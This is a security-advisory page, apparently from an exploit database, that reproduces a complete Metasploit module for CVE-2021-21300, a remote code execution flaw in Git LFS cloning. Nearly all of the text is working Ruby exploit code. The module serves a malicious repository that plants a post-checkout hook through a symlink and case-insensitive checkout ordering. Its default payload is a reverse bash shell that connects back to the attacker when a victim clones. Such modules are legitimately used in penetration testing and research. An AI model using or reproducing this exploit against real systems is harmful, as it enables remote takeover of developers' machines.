Git LFS Clone Command Execution

2021.08.31
Credit: Shelby Pace
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Git include Msf::Exploit::Git::SmartHttp include Msf::Exploit::Git::Lfs include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Git LFS Clone Command Exec', 'Description' => %q{ Git clients that support delay-capable clean / smudge filters and symbolic links on case-insensitive file systems are vulnerable to remote code execution while cloning a repository. Usage of clean / smudge filters through Git LFS and a case-insensitive file system changes the checkout order of repository files which enables the placement of a Git hook in the `.git/hooks` directory. By default, this module writes a `post-checkout` script so that the payload will automatically be executed upon checkout of the repository. }, 'License' => MSF_LICENSE, 'Author' => [ 'Johannes Schindelin', # Discovery 'Matheus Tavares', # Discovery 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'CVE', '2021-21300' ], [ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ], [ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ] ], 'DisclosureDate' => '2021-04-26', 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Git for MacOS, Windows', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] } ) ) register_options( [ OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ]) ] ) deregister_options('RHOSTS', 'RPORT') end def exploit setup_repo_structure super end def setup_repo_structure link_content = '.git/hooks' link_name = Rex::Text.rand_text_alpha(8..12).downcase link_obj = GitObject.build_blob_object(link_content) dir_name = link_name.upcase git_attr = '.gitattributes' git_hook = 'post-checkout' @hook_payload = "#!/bin/sh\n#{payload.encoded}" ptr_file = generate_pointer_file(@hook_payload) # need to initially send the pointer file # then send the actual object when Git LFS requests it git_hook_ptr = GitObject.build_blob_object(ptr_file) git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs" git_attr_obj = GitObject.build_blob_object(git_attr_content) sub_file_content = Rex::Text.rand_text_alpha(0..150) sub_file_name = Rex::Text.rand_text_alpha(8..12) sub_file_obj = GitObject.build_blob_object(sub_file_content) register_dir_for_cleanup('.git') register_files_for_cleanup(git_attr, link_name) # create subdirectory which holds payload sub_tree = [ { mode: '100644', file_name: sub_file_name, sha1: sub_file_obj.sha1 }, { mode: '100755', file_name: git_hook, sha1: git_hook_ptr.sha1 } ] sub_tree_obj = GitObject.build_tree_object(sub_tree) # root of repository tree_ent = [ { mode: '100644', file_name: git_attr, sha1: git_attr_obj.sha1 }, { mode: '040000', file_name: dir_name, sha1: sub_tree_obj.sha1 }, { mode: '120000', file_name: link_name, sha1: link_obj.sha1 } ] tree_obj = GitObject.build_tree_object(tree_ent) commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1) @git_objs = [ commit, tree_obj, sub_tree_obj, sub_file_obj, git_attr_obj, git_hook_ptr, link_obj ] @refs = { 'HEAD' => 'refs/heads/master', 'refs/heads/master' => commit.sha1 } end def create_git_uri "/#{Faker::App.name.downcase}.git".gsub(' ', '-') end def primer @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI'] @git_addr = URI.parse(get_uri).merge(@git_repo_uri) print_status("Git repository to clone: #{@git_addr}") hardcoded_uripath(@git_repo_uri) hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}") end def on_request_uri(cli, req) if req.uri.include?('git-upload-pack') request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req) case request.type when 'ref-discovery' response = send_refs(request) when 'upload-pack' response = send_requested_objs(request) else fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request') end else response = handle_lfs_objects(req) unless response.code == 200 cli.send_response(response) fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request') end end cli.send_response(response) end def send_refs(req) fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack' response = get_ref_discovery_response(req, @refs) fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response response end def send_requested_objs(req) upload_pack_resp = get_upload_pack_response(req, @git_objs) unless upload_pack_resp fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response') end upload_pack_resp end def handle_lfs_objects(req) git_hook_obj = GitObject.build_blob_object(@hook_payload) case req.method when 'POST' print_status('Sending payload data...') response = get_batch_response(req, @git_addr, git_hook_obj) fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response when 'GET' print_status('Sending LFS object...') response = get_requested_obj_response(req, git_hook_obj) fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response else fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request') end response end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top